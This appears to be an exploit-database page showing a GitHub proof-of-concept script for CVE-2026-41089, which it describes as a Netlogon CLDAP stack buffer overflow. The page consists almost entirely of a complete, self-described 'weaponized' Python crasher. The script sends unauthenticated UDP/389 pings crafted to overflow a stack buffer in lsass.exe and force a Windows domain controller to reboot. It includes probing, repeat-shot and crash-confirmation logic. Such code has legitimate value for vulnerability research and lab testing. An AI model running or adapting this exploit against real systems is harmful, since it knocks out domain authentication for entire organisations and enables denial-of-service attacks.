Exploit databaseDownload repository ZIP
GH-95d17339b68f8ee7faf0a232e5f85074
1posix/cve-2026-41089-poc
Sources for CVE-2026-41089
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
1posix/cve-2026-41089-pocRevision 9671de536706
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
longlogon_exploit.py
Python · 7,144 bytes#!/usr/bin/env python3
"""
longlogon_exploit.py - CVE-2026-41089 Netlogon CLDAP stack buffer overflow (LAB crasher)
Weaponized companion to the non-destructive checker (ADScanPro/CVE-2026-41089-LongLogon).
Sends ONE unauthenticated CLDAP ping (UDP/389) with:
- DnsDomain = the DC's long DNS domain (server-side bytes that carry the cursor)
- User = 130 wide chars (attacker-controlled, binary-capped at 0x82)
- NtVer = 0x02 -> routes to the VULNERABLE legacy BuildSamLogonResponse
(0x06/0x16 set bit 2 -> bounded-safe BuildSamLogonResponseEx)
When cumulative fill (forest + domain + host + User) >= 536 bytes, the trailing
L'\0' of NetpLogonPutUnicodeString overruns the 528-byte stack buffer, corrupts
the stack cookie, lsass.exe dies with STATUS_STACK_BUFFER_OVERRUN (0xc0000409)
and the DC reboots.
Stdlib only. Usage:
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N]
"""
import argparse
import socket
import struct
import sys
import time
# Vulnerability constants (reversed netlogon.dll, lab-verified)
BUFFER_BYTES = 528 # ushort local_258[264] in NlGetLocalPingResponse
FRAMING_BYTES = 8 # LDAP/BER wire framing above the buffer
CRASH_AT_BYTES = BUFFER_BYTES + FRAMING_BYTES # 536 = conservative definite-crash line
NTVER_VULN = 0x02 # legacy BuildSamLogonResponse (vulnerable)
NTVER_SAFE = 0x06 # BuildSamLogonResponseEx (bounded-safe)
USER_FIELD_MAX = 130 # binary cap on attacker User (0x82 wchars)
USER_BYTES_PER_CHAR = 2 # measured: +2 bytes of wire response per User wchar
def _ber_len(n: int) -> bytes:
if n < 0x80:
return bytes([n])
if n < 0x100:
return bytes([0x81, n])
return bytes([0x82, (n >> 8) & 0xFF, n & 0xFF])
def _tlv(tag: int, payload: bytes) -> bytes:
return bytes([tag]) + _ber_len(len(payload)) + payload
def _eq(attr: str, value) -> bytes:
if isinstance(value, str):
value = value.encode()
return _tlv(0xA3, _tlv(0x04, attr.encode()) + _tlv(0x04, value))
def build_netlogon_ping(domain: str, user: str, ntver: int = NTVER_VULN) -> bytes:
"""A CLDAP searchRequest carrying the (DnsDomain, User, NtVer) Netlogon filter.
Byte-for-byte identical to the validated checker in ADScanPro/CVE-2026-41089-LongLogon."""
filt = _tlv(
0xA0,
_eq("DnsDomain", domain) + _eq("User", user) + _eq("NtVer", struct.pack("<I", ntver)),
)
attrs = _tlv(0x30, _tlv(0x04, b"Netlogon"))
search = _tlv(
0x63,
_tlv(0x04, b"") # baseObject
+ _tlv(0x0A, b"\x00") # scope = base
+ _tlv(0x0A, b"\x00") # derefAliases = never
+ _tlv(0x02, b"\x00") # sizeLimit
+ _tlv(0x02, b"\x00") # timeLimit
+ b"\x01\x01\x00" # typesOnly = FALSE
+ filt
+ attrs,
)
return _tlv(0x30, _tlv(0x02, b"\x01") + search)
def send_ping(ip: str, domain: str, user: str, ntver: int, timeout: float = 6.0):
"""Send one CLDAP ping; return response length or None on timeout (crash/loss)."""
pkt = build_netlogon_ping(domain, user, ntver)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(timeout)
try:
s.sendto(pkt, (ip, 389))
try:
return len(s.recvfrom(8192)[0])
except socket.timeout:
return None
finally:
s.close()
def main() -> int:
ap = argparse.ArgumentParser(description="CVE-2026-41089 LongLogon LAB crasher")
ap.add_argument("target", help="Domain controller IP")
ap.add_argument("domain", help="DC's DNS domain name (long, server-side)")
ap.add_argument("--dry-run", action="store_true",
help="Probe with User=1 (benign) and show projected fill, do not shoot")
ap.add_argument("--shots", type=int, default=1,
help="Number of overflow packets to send (default 1; extra shots only fire if DC still up)")
ap.add_argument("--confirm-wait", type=float, default=75.0,
help="Seconds to wait before re-probing after a silent shot (default 75)")
ap.add_argument("--force", action="store_true", help="Shoot even if projected fill < 528")
args = ap.parse_args()
print(f"[*] CVE-2026-41089 LongLogon crasher -> {args.target} (domain {len(args.domain)} chars)")
# --- Pre-shot probe (benign, User=1) ---
r1 = send_ping(args.target, args.domain, "x", NTVER_VULN)
if r1 is None:
print("[!] No reply to benign probe on UDP/389: DC down, firewall, or wrong domain. Aborting.")
return 1
est_full = r1 + USER_BYTES_PER_CHAR * (USER_FIELD_MAX - 1)
print(f"[*] DC alive. Probe fill (User=1) = {r1} B; projected fill (User={USER_FIELD_MAX}) = {est_full} B "
f"(buffer {BUFFER_BYTES}, cookie {CRASH_AT_BYTES})")
if est_full < CRASH_AT_BYTES and not args.force:
print(f"[!] Projected fill < {CRASH_AT_BYTES} B (borderline window {BUFFER_BYTES}-{CRASH_AT_BYTES}). "
f"Crash not guaranteed. Re-run with --force to shoot anyway.")
return 2
if args.dry_run:
print("[i] --dry-run: no overflow sent, DC untouched.")
return 0
# --- Shoot the overflow ---
print(f"[*] Firing overflow: NtVer=0x02, User={USER_FIELD_MAX} chars, shots={args.shots}")
crashed_silently = False
for i in range(args.shots):
t0 = time.time()
r = send_ping(args.target, args.domain, "x" * USER_FIELD_MAX, NTVER_VULN, timeout=5.0)
dt = time.time() - t0
if r is not None:
print(f" shot #{i + 1}: DC REPLIED ({r} B in {dt:.2f} s) -> DC survived this packet")
if i + 1 < args.shots:
print(" [i] DC still up; waiting 5 s before next shot...")
time.sleep(5)
else:
crashed_silently = True
print(f" shot #{i + 1}: NO REPLY ({dt:.2f} s) -> possible crash (or lost packet)")
break
if crashed_silently:
print(f"[*] Waiting {args.confirm_wait:.0f} s to let the DC (re)start, then re-probing...")
time.sleep(args.confirm_wait)
reprobe = send_ping(args.target, args.domain, "x", NTVER_VULN, timeout=5.0)
if reprobe is None:
print("[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending).")
print(" Confirm on the DC after it comes back: lsass WER dump 0xc0000409 / STATUS_STACK_BUFFER_OVERRUN,")
print(" or boot-time delta (LastBootUpTime after the shot). NEVER trust a single silent packet.")
return 0
else:
print(f"[-] DC came back and answered the re-probe ({reprobe} B). The overflow packet was likely")
print(" dropped, not fatal. Re-run to try again (each shot is independent).")
return 3
print("[i] All shots answered by the DC: no crash observed (fill was in the borderline window?).")
return 3
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit(130)